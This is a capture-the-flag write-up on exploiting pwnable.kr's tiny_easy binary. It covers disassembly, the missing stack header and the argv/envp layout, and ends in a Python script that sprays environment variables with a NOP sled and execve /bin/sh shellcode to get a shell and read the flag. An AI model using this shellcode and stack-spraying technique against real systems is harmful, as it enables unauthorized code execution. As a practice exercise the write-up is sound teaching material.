Pwning tiny_easy (pwnable.kr)

December 25, 2015

This is a writeup of how to pwn tiny_easy on http://pwnable.kr, a great site for exploitation and reversing practice.

Challenge statement

> I made a pretty difficult pwn task. However I also made a dumb rookie mistake and made it too easy :(This is based on real event :) enjoy.
>
> ssh tiny_easy@pwnable.kr -p2222 (pw:guest)

Analysis

```
eugenek@frog:~$ ssh tiny_easy@pwnable.kr -p2222
tiny_easy@ubuntu:~$ ./tiny_easy
Segmentation fault
```

Okay, just segfaults. Let's dump and disassemble it.

```
tiny_easy@ubuntu:~$ hexdump -C tiny_easy
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00
|.ELF............|
00000010  02 00 03 00 01 00 00 00  54 80 04 08 34 00 00 00
|........T...4...|
00000020  00 00 00 00 00 00 00 00  34 00 20 00 01 00 00 00  |........4.
.....|
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 80 04 08
|................|
00000040  00 80 04 08 5a 00 00 00  5a 00 00 00 05 00 00 00
|....Z...Z.......|
00000050  00 10 00 00 58 5a 8b 12  ff d2                   |....XZ....|
0000005a

tiny_easy@ubuntu:~$ objdump -D tiny_easy

tiny_easy:     file format elf32-i386
```

```
tiny_easy@ubuntu:~$ objdump -x tiny_easy

tiny_easy:     file format elf32-i386
tiny_easy
architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x08048054

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000005a memsz 0x0000005a flags r-x

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
SYMBOL TABLE:
no symbols
```

Wow, it really is tiny! It's actually so small, that there is no executable section in it. That's not to say nothing executes. This is obvious as we get a segmentation fault, it's doing something.

Using GDB (or knowing the structure of an ELF and assembly), we can figure out what it's actually doing.

It simply executes 4 instructions:

```
58      pop eax
5a      pop edx
8b12    mov edx,DWORD PTR [edx]
ffd2    call edx
```

How a program works

A program is usually launched with something like:
`myprog arg1 arg2 arg3`
Additionally programs are aware what's in our `$PATH` environment variable, as well as any other env vars it might need.

So if you look carefully, that's 2 things a program gets/needs:
1. The arguments
2. The environment

This is evident if you examine the entry point in UNIX:
`int main (int argc, char *argv[], char *envp[])`

Without diving into how a program stack works on x86 (https://www.win.tue.nl/~aeb/linux/hh/stack-layout.html), what you need to know is that `envp`, `argv`, and `argc` get pushed onto the stack, in that order.

```
| [    argc    ] <-- This gets popped!
v [    argv    ]
  [    envp    ]
```

Challenges

The situation looks grim if you examine the binary with checksec, and also check if ASLR is enabled on the server:

```
RELRO           STACK CANARY      NX            PIE             RPATH
RUNPATH  FORTIFY FORTIFIED FORTIFY-able  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH
No RUNPATH   No  0       0/home/tiny_easy/tiny_easy

tiny_easy@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space
2
```

NX and ASLR are both enabled. This is very problematic, but let's look back to the hint given to us in the beginning.

The hint for this challenge is:

> "However I also made a dumb rookie mistake and made it too easy :(This is based on real event :) enjoy."

The rookie mistake here is that if you look above, there is no stack program header. So while NX (non-executable stack) is enabled for the machine, NX is not enabled for this binary. That means the solution can leverage arbitrary execution on the stack.

Solution

We need to get our payload onto the stack. We know `argc`, `argv`, and `envp` get pushed onto the stack. So let's put our shellcode into some environment variables. We also need to redirect program flow, recall in

the analysis section the four instructions that the program is doing. It pops `argc` into `eax`, pops `argv` into `edx`, and then starts executing what's pointed by `edx`.

Normally the first argument in `argv` is the name of the program, however this is not technically a requirement we can change it to anything we want, evident if you look at the typical structure of an `execv` call, `execv("myprog", {"myprog", "arg1", "arg2"})`, notice the repeated "myprog".

ASLR is enabled, so we don't know the exact address that our payload is at on the stack. So we have to spray the stack by creating a bunch of environment variables and nopsleds.

```
#!/usr/bin/python
import os
import subprocess

jumpto = "\xb0\xaf\xb5\xff"
shellcode =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8
d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xf
f/bin/sh"
nopsled = "\x90"*4096;
payload = nopsled+shellcode

myenv = {}
# Arbitrary largeish number
for i in range(0,100):
    myenv["spray"+str(i)] = payload

while True:
    p = subprocess.Popen([jumpto], executable="/home/tiny_easy/tiny_easy",
env=myenv)
    p.wait()
```

Executing...

```
tiny_easy@ubuntu:/tmp/eugenek_tiny_easy$ python pwn.py
$ cat /home/tiny_easy/flag
What a tiny task :) <redacted>
```

Looking ahead

This was *tiny_easy*, I'm looking forward to giving *tiny* a try.

You can see that *tiny* doesn't have the rookie mistake as this one does.

```
eugenek@frog:~/Downloads$ objdump -x tiny

tiny:     file format elf32-i386
...
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
         filesz 0x00000000 memsz 0x00000000 flags rw-
```

tiny doesn't have an executable stack! :(

Share this post